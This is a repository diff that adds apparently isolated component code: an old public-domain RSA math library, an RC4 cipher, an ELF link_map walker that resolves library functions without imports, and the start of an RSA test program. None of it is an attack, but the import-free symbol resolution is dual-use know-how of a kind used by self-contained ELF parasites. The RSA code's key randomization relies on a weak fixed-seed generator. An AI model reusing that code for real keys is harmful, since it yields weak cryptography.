| 314 | if (*e & (1 << j)) | ||
| 315 | pmm(c, a, m, p); | ||
| 316 | } | ||
| 317 | e--; | ||
| 318 | j = UNIT_BITS; | ||
| 319 | } | ||
| 320 | cp(a, c); | ||
| 321 | } | ||
| 322 | |||
| 323 | /* | ||
| 324 | * gd(N a, N b) -- a = greatest common divisor(a,b) | ||
| 325 | */ | ||
| 326 | |||
| 327 | PRIVATE void | ||
| 328 | gd(N a, N bb) | ||
| 329 | { | ||
| 330 | NN r, b; | ||
| 331 | cp(b, bb); | ||
| 332 | while (ts(b)) { | ||
| 333 | dm(a, b, r); | ||
| 334 | cp(a, b); | ||
| 335 | cp(b, r); | ||
| 336 | } | ||
| 337 | } | ||
| 338 | |||
| 339 | /* | ||
| 340 | * iv(N a, N b) -- multiplicative inverse, a = a^{-1} mod b | ||
| 341 | */ | ||
| 342 | |||
| 343 | PRIVATE void | ||
| 344 | iv(N a, N b) | ||
| 345 | { | ||
| 346 | NN c, d, e, f, g, y; | ||
| 347 | cp(c, b); | ||
| 348 | cl(e); | ||
| 349 | cl(f); | ||
| 350 | *f = 1; | ||
| 351 | while (ts(a)) { | ||
| 352 | cp(y, c); | ||
| 353 | dm(y, a, d); | ||
| 354 | if (f[RSA_SIZE - 1] & SIGN_BIT) { | ||
| 355 | ng(f); | ||
| 356 | mu(y, f); | ||
| 357 | ng(f); | ||
| 358 | ng(y); | ||
| 359 | } else | ||
| 360 | mu(y, f); | ||
| 361 | cp(g, e); | ||
| 362 | sb(g, y); | ||
| 363 | cp(c, a); | ||
| 364 | cp(a, d); | ||
| 365 | cp(e, f); | ||
| 366 | cp(f, g); | ||
| 367 | } | ||
| 368 | if (e[RSA_SIZE - 1] & SIGN_BIT) | ||
| 369 | ad(e, b); | ||
| 370 | cp(a, e); | ||
| 371 | } | ||
| 372 | |||
| 373 | /* | ||
| 374 | * nh(char *a, N b) -- convert value to a hex string (use for debugging) | ||
| 375 | */ | ||
| 376 | |||
| 377 | PRIVATE void | ||
| 378 | nh(char *a, N b) | ||
| 379 | { | ||
| 380 | char *d = "0123456789abcdef"; | ||
| 381 | NN c; | ||
| 382 | ULONG i = RSA_SIZE * sizeof(UWORD) * 2; /* 2 digits/byte! */ | ||
| 383 | cp(c, b); | ||
| 384 | a += RSA_SIZE * sizeof(UWORD) * 2; | ||
| 385 | *a = 0; | ||
| 386 | while (i--) { | ||
| 387 | *--a = d[*c & 15]; | ||
| 388 | sr(c); | ||
| 389 | sr(c); | ||
| 390 | sr(c); | ||
| 391 | sr(c); | ||
| 392 | } | ||
| 393 | } | ||
| 394 | |||
| 395 | /* | ||
| 396 | * hn(N a, char *b) -- lower-case hex string to value (use for constants) | ||
| 397 | */ | ||
| 398 | |||
| 399 | PRIVATE void | ||
| 400 | hn(N a, char *b) | ||
| 401 | { | ||
| 402 | cl(a); | ||
| 403 | while (*b) { | ||
| 404 | sl(a); | ||
| 405 | sl(a); | ||
| 406 | sl(a); | ||
| 407 | sl(a); | ||
| 408 | *a += *b < 'a' ? *b - '0' : *b - ('a' - 10); | ||
| 409 | b++; | ||
| 410 | } | ||
| 411 | } | ||
| 412 | |||
| 413 | /* | ||
| 414 | * integer = ri() -- generate weak pseudorandom integer (range 0-65535) | ||
| 415 | */ | ||
| 416 | |||
| 417 | PRIVATE ULONG | ||
| 418 | ri(void) | ||
| 419 | { | ||
| 420 | static ULONG s = 27182; | ||
| 421 | s = (s * 31421 + 6927) & 0xffff; | ||
| 422 | return s; | ||
| 423 | } | ||
| 424 | |||
| 425 | /* | ||
| 426 | * prime generation and RSA stuff | ||
| 427 | */ | ||
| 428 | |||
| 429 | /* | ||
| 430 | * randomize(N n, ULONG bits) -- pseudorandomize n, limit to value to | ||
| 431 | * range 2^bits to 2^(bits+1)-1. This function eors n with weak random | ||
| 432 | * generator, n should be initialized with at least bits-bit strong random | ||
| 433 | * value before call. | ||
| 434 | * (XXX check portablility when converting to >16-bit UWORD machine) | ||
| 435 | */ | ||
| 436 | |||
| 437 | void | ||
| 438 | randomize(N a, ULONG b) | ||
| 439 | { | ||
| 440 | ULONG i; | ||
| 441 | NN c; | ||
| 442 | N d = c; | ||
| 443 | cp(c,a); | ||
| 444 | cl(a); | ||
| 445 | if(b>UNIT_BITS*RSA_SIZE-2) { | ||
| 446 | i = RSA_SIZE-1; | ||
| 447 | b = UNIT_BITS-2; | ||
| 448 | } else { | ||
| 449 | i = b / UNIT_BITS; | ||
| 450 | b = b % UNIT_BITS; | ||
| 451 | } | ||
| 452 | while (i--) | ||
| 453 | *a++ = *d++ ^ ri(); | ||
| 454 | *a = ((*d ^ ri()) & ((1 << b) - 1)) | (1 << b); | ||
| 455 | } | ||
| 456 | |||
| 457 | /* | ||
| 458 | * const sp[PRIMES], PRIMES -- table of small primes, number of primes in table | ||
| 459 | */ | ||
| 460 | |||
| 461 | static unsigned char sp[PRIMES] = { | ||
| 462 | 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, | ||
| 463 | 59, 61, 67, 71, 73, 79, 83, 89, 97,101,103,107,109,113,127,131, | ||
| 464 | 137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223, | ||
| 465 | 227,229,233,239,241,251 | ||
| 466 | }; | ||
| 467 | |||
| 468 | /* | ||
| 469 | * divisor = sieve_prime(N n) -- try to find divisor of n by sieving | ||
| 470 | * with small integers returns divisor or 0 if no divisor found. | ||
| 471 | */ | ||
| 472 | |||
| 473 | ULONG | ||
| 474 | sieve_prime(N n) | ||
| 475 | { | ||
| 476 | ULONG i; | ||
| 477 | NN a; | ||
| 478 | for(i=0;i<PRIMES;i++) { | ||
| 479 | cp(a,n); | ||
| 480 | if(!di(a,sp[i])) | ||
| 481 | return ((ULONG)sp[i]); | ||
| 482 | } | ||
| 483 | return (0); | ||
| 484 | } | ||
| 485 | |||
| 486 | /* | ||
| 487 | * flag = prob_prime(N n) -- test if 2^(n-1) mod n == 1. Returns 0 if | ||
| 488 | * test failed, !0 if success. Large n which passes this test is a | ||
| 489 | * probable prime. This test does not work well with small value of n. | ||
| 490 | * Because this test is slow, you should first try sieving n. | ||
| 491 | */ | ||
| 492 | |||
| 493 | int | ||
| 494 | prob_prime(N m) | ||
| 495 | { | ||
| 496 | ULONG i = RSA_SIZE, j = UNIT_BITS, p = RSA_SIZE; | ||
| 497 | NN c, ee; | ||
| 498 | N mp, e = ee + RSA_SIZE; | ||
| 499 | cl(c); | ||
| 500 | *c = 1; | ||
| 501 | cp(ee, m); | ||
| 502 | sb(ee, c); | ||
| 503 | while (!*--e && i) | ||
| 504 | i--; | ||
| 505 | if (i) { | ||
| 506 | while (!(*e & (1 << j))) | ||
| 507 | j--; | ||
| 508 | *c = 2; | ||
| 509 | } | ||
| 510 | mp = m + RSA_SIZE; | ||
| 511 | while (!*--mp && p) | ||
| 512 | p--; | ||
| 513 | if (*mp & SIGN_BIT && p < RSA_SIZE) | ||
| 514 | p++; | ||
| 515 | while (i--) { | ||
| 516 | while (j--) { | ||
| 517 | pmm(c, c, m, p); | ||
| 518 | if (*e & (1 << j)) { | ||
| 519 | sl(c); | ||
| 520 | if(sb(c, m)) ad(c, m); | ||
| 521 | } | ||
| 522 | } | ||
| 523 | e--; | ||
| 524 | j = UNIT_BITS; | ||
| 525 | } | ||
| 526 | cl(ee); | ||
| 527 | *ee = 1; | ||
| 528 | return (!cu(c,ee)); | ||
| 529 | } | ||
| 530 | |||
| 531 | #ifndef THINK_SILENTLY | ||
| 532 | |||
| 533 | /* | ||
| 534 | * tw() -- indicate working when checking/generating primes | ||
| 535 | */ | ||
| 536 | |||
| 537 | #include <stdio.h> /* only for tw() */ | ||
| 538 | |||
| 539 | static void | ||
| 540 | tw(void) | ||
| 541 | { | ||
| 542 | static ULONG j = 0; | ||
| 543 | putchar("/-\\|"[j & 3]); | ||
| 544 | j++; | ||
| 545 | putchar('\b'); | ||
| 546 | fflush(stdout); | ||
| 547 | } | ||
| 548 | |||
| 549 | #endif /* THINK_SILENTLY */ | ||
| 550 | |||
| 551 | /* | ||
| 552 | * next_prime(N a) -- find next probable prime >= a | ||
| 553 | */ | ||
| 554 | |||
| 555 | void | ||
| 556 | next_prime(N a) | ||
| 557 | { | ||
| 558 | NN b; | ||
| 559 | *a |= 1; | ||
| 560 | cl(b); *b = 2; | ||
| 561 | for (;;) { | ||
| 562 | #ifndef THINK_SILENTLY | ||
| 563 | tw(); | ||
| 564 | #endif /* THINK_SILENTLY */ | ||
| 565 | if (!sieve_prime(a)) { | ||
| 566 | if (prob_prime(a)) | ||
| 567 | return; | ||
| 568 | } | ||
| 569 | ad(a, b); | ||
| 570 | } | ||
| 571 | } | ||
| 572 | |||
| 573 | /* | ||
| 574 | * bits rsa_gen(rsa_key *key) -- generate a RSA key from key->p and key->q | ||
| 575 | * Initialize key->p and key->q either with primes or strong random | ||
| 576 | * integers of apporopriate size. Returns number of bits in modulus key->pq | ||
| 577 | * or 0 if key generation failed. | ||
| 578 | */ | ||
| 579 | |||
| 580 | ULONG | ||
| 581 | rsa_gen(rsa_key *k) | ||
| 582 | { | ||
| 583 | NN p1, q1, pq1, f, g, t; | ||
| 584 | next_prime(k->p); | ||
| 585 | next_prime(k->q); | ||
| 586 | if (cu(k->p, k->q) < 0) { | ||
| 587 | cp(t, k->p); | ||
| 588 | cp(k->p, k->q); | ||
| 589 | cp(k->q, t); | ||
| 590 | } | ||
| 591 | hn(t, "1"); | ||
| 592 | cp(p1, k->p); | ||
| 593 | sb(p1, t); | ||
| 594 | cp(q1, k->q); | ||
| 595 | sb(q1, t); | ||
| 596 | cp(g, p1); | ||
| 597 | gd(g, q1); | ||
| 598 | hn(t, "ff"); | ||
| 599 | if (cu(t, g) < 0) | ||
| 600 | return 0; | ||
| 601 | cp(k->pq, k->p); | ||
| 602 | mu(k->pq, k->q); | ||
| 603 | cp(pq1, p1); | ||
| 604 | mu(pq1, q1); | ||
| 605 | cp(f, pq1); | ||
| 606 | dm(f, g, t); | ||
| 607 | hn(k->e, "3"); | ||
| 608 | hn(k->qp, "1"); | ||
| 609 | cp(t, pq1); | ||
| 610 | gd(t, k->e); | ||
| 611 | if (cu(t, k->qp)) { | ||
| 612 | hn(k->e, "10001"); | ||
| 613 | cp(t, pq1); | ||
| 614 | gd(t, k->e); | ||
| 615 | if (cu(t, k->qp)) | ||
| 616 | return 0; | ||
| 617 | } | ||
| 618 | cp(k->d, k->e); | ||
| 619 | iv(k->d, f); | ||
| 620 | cp(t, k->d); | ||
| 621 | dm(t, p1, k->dp); | ||
| 622 | cp(t, k->d); | ||
| 623 | dm(t, q1, k->dq); | ||
| 624 | cp(k->qp, k->q); | ||
| 625 | iv(k->qp, k->p); | ||
| 626 | cp(t, k->pq); | ||
| 627 | for(k->b = 0; ts(t); sr(t), k->b++) | ||
| 628 | ; /* VOID */ | ||
| 629 | return (k->b); | ||
| 630 | } | ||
| 631 | |||
| 632 | /* | ||
| 633 | * rsa_dec(N m, rsa_key *key) -- low level rsa decryption. Result undefined | ||
| 634 | * (ie. wrong) if key is not private rsa key. | ||
| 635 | */ | ||
| 636 | |||
| 637 | void | ||
| 638 | rsa_dec(N m, rsa_key * k) | ||
| 639 | { | ||
| 640 | NN mp, mq, t; | ||
| 641 | cp(t, m); | ||
| 642 | dm(t, k->p, mp); | ||
| 643 | cp(t, m); | ||
| 644 | dm(t, k->q, | ||
| 645 | mq); | ||
| 646 | em(mp, k->dp, k->p); | ||
| 647 | em(mq, k->dq, k->q); | ||
| 648 | if (sb(mp, mq)) | ||
| 649 | ad(mp, k->p); | ||
| 650 | mm(mp, k->qp, | ||
| 651 | k->p); | ||
| 652 | mu(mp, k->q); | ||
| 653 | ad(mp, mq); | ||
| 654 | cp(m, mp); | ||
| 655 | } | ||
| 656 | |||
| 657 | /* | ||
| 658 | * rsa_enc(N m, rsa_key *k) -- low level rsa encryption | ||
| 659 | */ | ||
| 660 | |||
| 661 | void | ||
| 662 | rsa_enc(N m, rsa_key * k) | ||
| 663 | { | ||
| 664 | em(m, k->e, k->pq); | ||
| 665 | } | ||
| 666 | |||
| 667 | /* | ||
| 668 | * len = n_to_b(unsigned char *buf, N a) -- convert a to bytes, most | ||
| 669 | * significant byte first. Returns number of bytes written to buf. buf | ||
| 670 | * should be large enough to hold sizeof(NN) bytes. (Note that number | ||
| 671 | * is handled as unsigned, negative value converts to sizeof(NN) bytes.) | ||
| 672 | * (XXX check portablility when converting to not-16/32 bit machine) | ||
| 673 | */ | ||
| 674 | |||
| 675 | ULONG | ||
| 676 | n_to_b(unsigned char *b, N a) | ||
| 677 | { | ||
| 678 | ULONG i = RSA_SIZE - 1, l = 1; | ||
| 679 | a += RSA_SIZE; | ||
| 680 | while (!*--a && i) | ||
| 681 | i--; | ||
| 682 | if (*a > 255) { | ||
| 683 | *b++ = *a >> 8; | ||
| 684 | l++; | ||
| 685 | } | ||
| 686 | *b++ = *a; | ||
| 687 | while (i--) { | ||
| 688 | *b++ = *--a >> 8; | ||
| 689 | *b++ = *a; | ||
| 690 | l += 2; | ||
| 691 | } | ||
| 692 | return (l); | ||
| 693 | } | ||
| 694 | |||
| 695 | /* | ||
| 696 | * b_to_n(N a, unsigned char *buf,ULONG len) -- convert len bytes from | ||
| 697 | * buf to value a. Conversion is unsigned, most significant byte first. | ||
| 698 | * (XXX check portablility when converting to not-16/32 bit machine) | ||
| 699 | */ | ||
| 700 | |||
| 701 | void | ||
| 702 | b_to_n(N a, unsigned char *b, ULONG l) | ||
| 703 | { | ||
| 704 | ULONG i; | ||
| 705 | if (l > RSA_SIZE * sizeof(UWORD)) | ||
| 706 | l = RSA_SIZE * sizeof(UWORD); | ||
| 707 | b += l; | ||
| 708 | cl(a); | ||
| 709 | i = l / 2; | ||
| 710 | while (i--) { | ||
| 711 | *a = *--b; | ||
| 712 | *a++ |= (ULONG) *--b << 8; | ||
| 713 | } | ||
| 714 | if (l & 1) | ||
| 715 | *a = *--b; | ||
| 716 | } | ||
| 717 | |||
diff --git a/other/wrez/isolation/cipher-mrsa.h b/other/wrez/isolation/cipher-mrsa.h new file mode 100644 index 0000000..85631a8 --- /dev/null +++ b/other/wrez/isolation/cipher-mrsa.h | |||
| @@ -0,0 +1,79 @@ | |||
| 1 | /* | ||
| 2 | * mrsa.h -- Multiprecision math and RSA public key crypt library | ||
| 3 | * 1993 Risto Paasivirta, paasivir@jyu.fi | ||
| 4 | * Public Domain, no warranty. Use as you wish. | ||
| 5 | */ | ||
| 6 | |||
| 7 | #ifndef CIPHER_MRSA_H | ||
| 8 | #define CIPHER_MRSA_H | ||
| 9 | |||
| 10 | #ifndef RSA_SIZE | ||
| 11 | /* #define RSA_SIZE 32 for max 512 (actually 511) bit modulus */ | ||
| 12 | #define RSA_SIZE 16 | ||
| 13 | #endif | ||
| 14 | |||
| 15 | /* | ||
| 16 | * unsigned 16 and 32 -bit types (other sizes may need some porting) | ||
| 17 | */ | ||
| 18 | |||
| 19 | #ifndef UWORD | ||
| 20 | typedef unsigned short UWORD; | ||
| 21 | #endif | ||
| 22 | #ifndef ULONG | ||
| 23 | typedef unsigned long ULONG; | ||
| 24 | #endif | ||
| 25 | |||
| 26 | typedef UWORD *N, NN[RSA_SIZE]; | ||
| 27 | |||
| 28 | typedef struct rsa_key { | ||
| 29 | ULONG b; | ||
| 30 | NN pq,e,d,p,q,dp,dq,qp; | ||
| 31 | } rsa_key; | ||
| 32 | |||
| 33 | #if !defined(RSA_ONLY) || defined(MRSA_C) | ||
| 34 | |||
| 35 | #define UNIT_BITS 16 /* unit bits */ | ||
| 36 | #define SIGN_BIT (1<<15) /* top bit of unit */ | ||
| 37 | #define PRIMES 54 /* number of primes in prime table */ | ||
| 38 | |||
| 39 | #ifdef RSA_ONLY /* define RSA_ONLY if math stuff not needed */ | ||
| 40 | #define PRIVATE static | ||
| 41 | #else | ||
| 42 | #define PRIVATE | ||
| 43 | #endif | ||
| 44 | |||
| 45 | |||
| 46 | int ts(N a); /* test signed, returns -1, 0 or 1 */ | ||
| 47 | ULONG ng(N a); /* negate, return carry*/ | ||
| 48 | void cl(N a); /* clear */ | ||
| 49 | void cp(N a,N b); /* copy, a = b */ | ||
| 50 | int cu(N a,N b); /* compare unsigned, returns, -1 0 or 1 */ | ||
| 51 | ULONG ad(N a,N b); /* add, a += b */ | ||
| 52 | ULONG sb(N a,N b); /* substract, a -= b */ | ||
| 53 | ULONG sr(N a); /* shift right, a >>= 1, return carry */ | ||
| 54 | ULONG sl(N a); /* shift left, a <<= 1, return carry */ | ||
| 55 | void dm(N a,N b,N c); /* div-mod unsigned, a /= b, c = a % b */ | ||
| 56 | void mu(N a,N b); /* multiply unsigned, a *= b */ | ||
| 57 | void mm(N a,N b,N m); /* modular multiply, a = a * b mod m */ | ||
| 58 | void em(N a,N e,N m); /* modular exponentiation, a = a^e mod m */ | ||
| 59 | void gd(N a,N b); /* greatst common divisor, a = gcd(a,b) */ | ||
| 60 | void iv(N a,N b); /* multiplicative inverse, a = a^{-1} mod p */ | ||
| 61 | void nh(char *a,N b); /* convert number to hex string */ | ||
| 62 | void hn(N a,char *b); /* convert lowercase hex string to number */ | ||
| 63 | ULONG ri(); /* weak pseudorandom integer */ | ||
| 64 | |||
| 65 | #endif /* RSA_C */ | ||
| 66 | |||
| 67 | void randomize(N a, ULONG bits); | ||
| 68 | ULONG sieve_prime(N); | ||
| 69 | int prob_prime(N); | ||
| 70 | void next_prime(N); | ||
| 71 | ULONG rsa_gen(rsa_key *); | ||
| 72 | void rsa_enc(N,rsa_key *); | ||
| 73 | void rsa_dec(N,rsa_key *); | ||
| 74 | ULONG n_to_b(unsigned char *,N); | ||
| 75 | void b_to_n(N,unsigned char *,ULONG); | ||
| 76 | |||
| 77 | #endif | ||
| 78 | |||
| 79 | |||
diff --git a/other/wrez/isolation/cipher-rc4.c b/other/wrez/isolation/cipher-rc4.c new file mode 100644 index 0000000..1196cb7 --- /dev/null +++ b/other/wrez/isolation/cipher-rc4.c | |||
| @@ -0,0 +1,81 @@ | |||
| 1 | /* rc4 */ | ||
| 2 | |||
| 3 | #include "cipher-rc4.h" | ||
| 4 | |||
| 5 | |||
| 6 | static void swap_byte (unsigned char *a, unsigned char *b); | ||
| 7 | |||
| 8 | void | ||
| 9 | rc4_prepare_key (unsigned char *key_data_ptr, int key_data_len, rc4_key *key) | ||
| 10 | { | ||
| 11 | unsigned char i1, i2; | ||
| 12 | unsigned char * s; | ||
| 13 | short c; | ||
| 14 | |||
| 15 | s = &key->state[0]; | ||
| 16 | for (c = 0; c < 256; c++) | ||
| 17 | s[c] = c; | ||
| 18 | |||
| 19 | key->x = key->y = 0; | ||
| 20 | i1 = i2 = 0; | ||
| 21 | |||
| 22 | for (c = 0; c < 256; c++) { | ||
| 23 | i2 = (key_data_ptr[i1] + s[c] + i2) % 256; | ||
| 24 | swap_byte (&s[c], &s[i2]); | ||
| 25 | i1 = (i1 + 1) % key_data_len; | ||
| 26 | } | ||
| 27 | } | ||
| 28 | |||
| 29 | |||
| 30 | void | ||
| 31 | rc4_encipher (unsigned char *buffer, unsigned long int buffer_len, | ||
| 32 | unsigned char *key, int key_len) | ||
| 33 | { | ||
| 34 | rc4_key key_r; | ||
| 35 | |||
| 36 | if (key == NULL || buffer == NULL || buffer_len == 0) | ||
| 37 | return; | ||
| 38 | |||
| 39 | rc4_prepare_key (key, key_len, &key_r); | ||
| 40 | rc4_cipher (buffer, buffer_len, &key_r); | ||
| 41 | |||
| 42 | return; | ||
| 43 | } | ||
| 44 | |||
| 45 | |||
| 46 | void | ||
| 47 | rc4_cipher (unsigned char *buffer_ptr, int buffer_len, rc4_key *key) | ||
| 48 | { | ||
| 49 | unsigned char x; | ||
| 50 | unsigned char y; | ||
| 51 | unsigned char *state; | ||
| 52 | unsigned char xi; | ||
| 53 | unsigned int counter; | ||
| 54 | |||
| 55 | x = key->x; | ||
| 56 | y = key->y; | ||
| 57 | |||
| 58 | state = &key->state[0]; | ||
| 59 | for(counter = 0; counter < buffer_len; counter ++) { | ||
| 60 | x = (x + 1) % 256; | ||
| 61 | y = (state[x] + y) % 256; | ||
| 62 | swap_byte(&state[x], &state[y]); | ||
| 63 | xi = (state[x] + state[y]) % 256; | ||
| 64 | buffer_ptr[counter] ^= state[xi]; | ||
| 65 | } | ||
| 66 | |||
| 67 | key->x = x; | ||
| 68 | key->y = y; | ||
| 69 | } | ||
| 70 | |||
| 71 | |||
| 72 | static void | ||
| 73 | swap_byte (unsigned char *a, unsigned char *b) | ||
| 74 | { | ||
| 75 | unsigned char sb; | ||
| 76 | |||
| 77 | sb = *a; | ||
| 78 | *a = *b; | ||
| 79 | *b = sb; | ||
| 80 | } | ||
| 81 | |||
diff --git a/other/wrez/isolation/cipher-rc4.h b/other/wrez/isolation/cipher-rc4.h new file mode 100644 index 0000000..f815d7f --- /dev/null +++ b/other/wrez/isolation/cipher-rc4.h | |||
| @@ -0,0 +1,21 @@ | |||
| 1 | |||
| 2 | #ifndef CIPHER_RC4_H | ||
| 3 | #define CIPHER_RC4_H | ||
| 4 | |||
| 5 | |||
| 6 | typedef struct rc4_key { | ||
| 7 | unsigned char state[256]; | ||
| 8 | unsigned char x; | ||
| 9 | unsigned char y; | ||
| 10 | } rc4_key; | ||
| 11 | |||
| 12 | |||
| 13 | void rc4_prepare_key (unsigned char *key_data_ptr, int key_data_len, rc4_key *key); | ||
| 14 | void rc4_encipher (unsigned char *buffer, | ||
| 15 | unsigned long int buffer_len, unsigned char *key, int key_len); | ||
| 16 | #define rc4_decipher rc4_encipher | ||
| 17 | void rc4_cipher (unsigned char *buffer_ptr, int buffer_len, rc4_key *key); | ||
| 18 | |||
| 19 | |||
| 20 | #endif | ||
| 21 | |||
diff --git a/other/wrez/isolation/gmon.out b/other/wrez/isolation/gmon.out new file mode 100644 index 0000000..49edff1 --- /dev/null +++ b/other/wrez/isolation/gmon.out | |||
| Binary files differ | |||
diff --git a/other/wrez/isolation/resolv-grugq-link-technique.c b/other/wrez/isolation/resolv-grugq-link-technique.c new file mode 100644 index 0000000..a7cfb1a --- /dev/null +++ b/other/wrez/isolation/resolv-grugq-link-technique.c | |||
| @@ -0,0 +1,209 @@ | |||
| 1 | #include <elf.h> | ||
| 2 | |||
| 3 | #define NULL ((void *)0) | ||
| 4 | |||
| 5 | |||
| 6 | struct link_map { | ||
| 7 | Elf32_Addr l_addr; | ||
| 8 | char * l_name; | ||
| 9 | Elf32_Dyn * l_ld; /* .dynamic ptr */ | ||
| 10 | struct link_map * l_next, | ||
| 11 | * l_prev; | ||
| 12 | }; | ||
| 13 | |||
| 14 | struct resolv { | ||
| 15 | Elf32_Word * hash; | ||
| 16 | Elf32_Word * chain; | ||
| 17 | Elf32_Sym * symtab; | ||
| 18 | char * strtab; | ||
| 19 | int num; | ||
| 20 | }; | ||
| 21 | |||
| 22 | |||
| 23 | static int | ||
| 24 | strmatch(char *s1, char *s2) | ||
| 25 | { | ||
| 26 | while (*s1++ == *s2++) | ||
| 27 | if (*s1 == 0) | ||
| 28 | return (1); | ||
| 29 | return (0); | ||
| 30 | } | ||
| 31 | |||
| 32 | /* | ||
| 33 | inline int | ||
| 34 | strlen(char *str) | ||
| 35 | { | ||
| 36 | al = 0 | ||
| 37 | ecx = ffffffff | ||
| 38 | repne scasb | ||
| 39 | not ecx | ||
| 40 | } | ||
| 41 | */ | ||
| 42 | |||
| 43 | static inline struct resolv * | ||
| 44 | build_resolv(struct link_map *l, struct resolv *r) | ||
| 45 | { | ||
| 46 | Elf32_Dyn * d; | ||
| 47 | |||
| 48 | |||
| 49 | for (d = l->l_ld; d->d_tag != DT_NULL; d++) { | ||
| 50 | switch (d->d_tag) { | ||
| 51 | case DT_HASH: | ||
| 52 | { | ||
| 53 | Elf32_Word * h; | ||
| 54 | |||
| 55 | |||
| 56 | h = (Elf32_Word *) | ||
| 57 | ((char *)d->d_un.d_ptr+l->l_addr); | ||
| 58 | |||
| 59 | r->num = *h++; // num buckets | ||
| 60 | h++; // num chains | ||
| 61 | r->hash = h; | ||
| 62 | r->chain = h + r->num; | ||
| 63 | } | ||
| 64 | break; | ||
| 65 | case DT_STRTAB: | ||
| 66 | r->strtab = (char *)d->d_un.d_ptr; | ||
| 67 | break; | ||
| 68 | case DT_SYMTAB: | ||
| 69 | r->symtab = (Elf32_Sym *)d->d_un.d_ptr; | ||
| 70 | break; | ||
| 71 | default: | ||
| 72 | break; | ||
| 73 | } | ||
| 74 | } | ||
| 75 | return (r); | ||
| 76 | } | ||
| 77 | |||
| 78 | static void * | ||
| 79 | resolve(char *sym_name, long hn, struct link_map *l) | ||
| 80 | { | ||
| 81 | Elf32_Sym * sym; | ||
| 82 | struct resolv * r; | ||
| 83 | long ndx; | ||
| 84 | |||
| 85 | |||
| 86 | r = build_resolv(l, alloca(sizeof(*r))); | ||
| 87 | |||
| 88 | for (ndx = r->hash[ hn % r->num ]; ndx; ndx = r->chain[ ndx ]) { | ||
| 89 | sym = &r->symtab[ ndx ]; | ||
| 90 | |||
| 91 | if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC) | ||
| 92 | continue; | ||
| 93 | |||
| 94 | if (strmatch(sym_name, r->strtab + sym->st_name)) | ||
| 95 | return (((char *)l->l_addr) + sym->st_value); | ||
| 96 | } | ||
| 97 | |||
| 98 | return NULL; | ||
| 99 | } | ||
| 100 | |||
| 101 | static struct link_map * | ||
| 102 | locate_link_map(void *my_base) | ||
| 103 | { | ||
| 104 | Elf32_Ehdr * e = (Elf32_Ehdr *)my_base; | ||
| 105 | Elf32_Phdr * p; | ||
| 106 | Elf32_Dyn * d; | ||
| 107 | Elf32_Word * got; | ||
| 108 | |||
| 109 | |||
| 110 | p = (Elf32_Phdr *)((char *)e + e->e_phoff); | ||
| 111 | |||
| 112 | while (p++<(Elf32_Phdr *)((char*)p + (e->e_phnum * sizeof(Elf32_Phdr)))) | ||
| 113 | if (p->p_type == PT_DYNAMIC) | ||
| 114 | break; | ||
| 115 | |||
| 116 | // error check | ||
| 117 | /* | ||
| 118 | if (p->p_type != PT_DYNAMIC) | ||
| 119 | return (NULL); | ||
| 120 | */ | ||
| 121 | |||
| 122 | for (d = (Elf32_Dyn *)p->p_vaddr; d->d_tag != DT_NULL; d++) | ||
| 123 | if (d->d_tag == DT_PLTGOT) { | ||
| 124 | got = (Elf32_Word *)d->d_un.d_ptr; | ||
| 125 | break; | ||
| 126 | } | ||
| 127 | // error check | ||
| 128 | // if (got == NULL) | ||
| 129 | // return (NULL); | ||
| 130 | |||
| 131 | // different on other platforms | ||
| 132 | #define GOT_LM_PTR 1 | ||
| 133 | return ((struct link_map *)got[GOT_LM_PTR]); | ||
| 134 | } | ||
| 135 | |||
| 136 | void * | ||
| 137 | get_addr(void *my_base, char *sym_name, long hn) | ||
| 138 | { | ||
| 139 | struct link_map * l; | ||
| 140 | void * a; | ||
| 141 | |||
| 142 | |||
| 143 | l = locate_link_map(my_base); | ||
| 144 | // scan link maps... | ||
| 145 | |||
| 146 | // don't know where it terminates... NULL, I hope. :-) | ||
| 147 | while (l->l_prev) | ||
| 148 | l = l->l_prev; | ||
| 149 | |||
| 150 | // scan link maps for the symbol. slow, but... | ||
| 151 | for (; l->l_next; l = l->l_next) | ||
| 152 | if ((a = resolve(sym_name, hn, l))) | ||
| 153 | return (a); | ||
| 154 | |||
| 155 | return (NULL); | ||
| 156 | } | ||
| 157 | |||
| 158 | unsigned long | ||
| 159 | elf_hash(const char *name) | ||
| 160 | { | ||
| 161 | unsigned long h = 0, g; | ||
| 162 | |||
| 163 | while (*name) { | ||
| 164 | h = (h << 4) + *name++; | ||
| 165 | |||
| 166 | if ((g = h & 0xf0000000)) | ||
| 167 | h ^= g >> 24; | ||
| 168 | h &= ~g; | ||
| 169 | } | ||
| 170 | return (h); | ||
| 171 | } | ||
| 172 | |||
| 173 | /* | ||
| 174 | void * | ||
| 175 | locate_my_base() | ||
| 176 | { | ||
| 177 | find an address within the .text section, or at least within the | ||
| 178 | .data. Then search backwards page at a time: | ||
| 179 | |||
| 180 | for (addr = ALIGN(cur_addr, 4096); ; addr -= 4096) | ||
| 181 | if (memcmp(addr, ELFMAG, SELFMAG)) | ||
| 182 | return (addr); | ||
| 183 | |||
| 184 | return (NULL); | ||
| 185 | |||
| 186 | That failing, you can hard code it (but doing it dynamicly | ||
| 187 | means you more cool. :) | ||
| 188 | |||
| 189 | } | ||
| 190 | */ | ||
| 191 | |||
| 192 | #if 1 | ||
| 193 | int | ||
| 194 | main (void) | ||
| 195 | { | ||
| 196 | unsigned long hn; | ||
| 197 | void * my_addr = (void *) 0x08048000; | ||
| 198 | char * sym_name = "printf"; | ||
| 199 | int (*printf)(const char *, ...); | ||
| 200 | |||
| 201 | |||
| 202 | hn = elf_hash(sym_name); | ||
| 203 | printf = get_addr(my_addr, sym_name, hn); | ||
| 204 | |||
| 205 | (*printf)("Hello World\n"); | ||
| 206 | |||
| 207 | return (0); | ||
| 208 | } | ||
| 209 | #endif | ||
diff --git a/other/wrez/isolation/rsatest.c b/other/wrez/isolation/rsatest.c new file mode 100644 index 0000000..96c4db5 --- /dev/null +++ b/other/wrez/isolation/rsatest.c | |||
| @@ -0,0 +1,101 @@ | |||
| 1 | /* | ||
| 2 | * rsatest.c | ||
| 3 | */ | ||
| 4 | |||
| 5 | #include <stdio.h> | ||
| 6 | #include <stdlib.h> | ||
| 7 | #include "cipher-mrsa.h" | ||
| 8 | |||
| 9 | void | ||
| 10 | main(int i, char **v) { | ||
| 11 | NN m,c,d; | ||
| 12 | rsa_key key; | ||
| 13 | rsa_key key_pub; | ||
| 14 | rsa_key key_priv; | ||
| 15 | char s[RSA_SIZE*4+2]; | ||
